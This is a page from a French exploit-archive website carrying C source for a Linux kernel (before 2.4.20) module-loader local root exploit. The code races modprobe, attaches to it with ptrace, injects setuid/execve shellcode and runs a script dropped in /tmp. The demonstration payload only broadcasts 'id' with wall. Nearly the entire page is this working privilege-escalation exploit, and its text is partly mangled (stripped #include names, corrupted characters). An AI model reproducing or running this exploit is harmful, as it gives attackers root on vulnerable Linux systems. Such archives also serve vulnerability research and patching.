Linux Kernel < 2.4.20 Module Loader Local Root Exploit


                      
     * Version TXT Disponible ici *
/***********************************************
*                                                
*       Linux Kernel Module Loader Local R00t Exploit    
*                     Up to 2.4.20                      
*               By anonymous KuRaK                      
*                                               
************************************************

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 



#define TMPSIZE 4096
#define FMAX 768
#define UIDNUM 6
#define MMSIZE (4096*1)
#define MAXSTACK 0xc0000000

//      where to put the root script
#define SHELL "/tmp/w00w00w"

//      what to open to run modprobe
#define ENTRY "/dev/dsp3"


struct uids {
    unsigned uid;
    unsigned euid;
    unsigned suid;
    unsigned fsuid;
};


//      thanks to the epcs2.c code :-))
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\
xdb\xb0\x17\xcd\x80"       /* setuid(0) */
    "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"   
/* execve(SHELL) */
    "\x90\x90\x90\x89\xe1\x8d\x54\x24"        /* lets be tricky */
    "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";


//      payload...
char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall";


volatile int sig = 0;
volatile struct user_regs_struct regs;


void sighnd(int v)
{
    sig++;
}


void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
        fprintf(stderr, "FATAL ERROR: %s\n", msg);
    } else {
        perror(msg);
    }
    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


void exploit(int pid)
{
    int i;

    if (ptrace(PTRACE_GETREGS, pid, 0, ®s))
        fatal("ptrace: PTRACE_GETREGS");
    for (i = 0; i <= sizeof(shellcode); i += 4) {
        if (ptrace
            (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
            fatal("ptrace: PTRACE_POKETEXT");
    }
    if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
        fatal("ptrace: PTRACE_SETREGS");
    ptrace(PTRACE_DETACH, pid, 0, 0);
    kill(pid, SIGCONT);
}


int get_ids(FILE * fp, struct uids *uids)
{
    int i;
    char tmp[TMPSIZE];


    fseek(fp, 0, SEEK_SET);
    for (i = 0; i < UIDNUM; i++)
        fgets(tmp, sizeof(tmp), fp);
    return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid,
                  &uids->suid, &uids->fsuid);
}


int main(int ac, char **av)
{
    int fd, pid, p, i;
    char buf[TMPSIZE];
    struct uids uids;
    FILE *fp;


    setpgrp();
    setsid();
    umask(022);
    unlink(SHELL);
    fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
    fp = fdopen(fd, "w+");
    fprintf(fp, "%s\n", shellcmd);
    fclose(fp);

    pid = getpid() + 2;
    snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
    printf("\nModprobe pid %d, my pid %d", pid, getpid());
    fflush(stdout);
    signal(SIGUSR1, sighnd);

//      fork modprobe helper
    if (!(p = fork())) {
//      some nice work for exec_usermodehelper(), keep it busy!
        for (i = 0; i < FMAX; i++) {
            fd = open("/dev/zero", O_RDWR);
            mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
        }
        kill(getppid(), SIGUSR1);
        while (!sig);
        printf("\nHelper (pid %d) requesting module...", getpid());
        fflush(stdout);
        fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
        exit(0);
    }
//      synchronize with the child
    else {
        while (!sig);
        kill(p, SIGUSR1);

//      wait for modprobe to run at unprivileged level
        while (1) {
            fd = open(buf, O_RDONLY);
            if (fd > 0) {
                if (!(fp = fdopen(fd, "r")))
                    fatal("fdopen");
                if (get_ids(fp, &uids) != 4
                    || (uids.uid != uids.euid || uids.uid != uids.suid
                        || uids.uid != uids.fsuid)) {
                    fatal("did not catch modprobe...try again later :-)");
                }
//      ok, it runs...
                while (1) {
                    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
                        fatal("PTRACE_ATTACH failed!");
                    } else {
                        i = 0;
                        printf("\nAttached afterburner...\n");
                        fflush(stdout);
                        while (ptrace(PTRACE_GETREGS, pid, 0, ®s)
                               || !regs.eip || regs.eip >= MAXSTACK) {
                            ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
                            printf("\rplease wait %d", i++);
                            fflush(stdout);
                        }
                        waitpid(pid, NULL, WUNTRACED);
                        printf
                            ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
                             regs.eip);
                        fflush(stdout);
                        exploit(pid);
                        exit(0);
                    }
                }
                fclose(fp);
            }
        }
    }

    return 0;
}

   

   

 Audits de Sécurité & Tests Intrusifs F-VNS Security™  Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits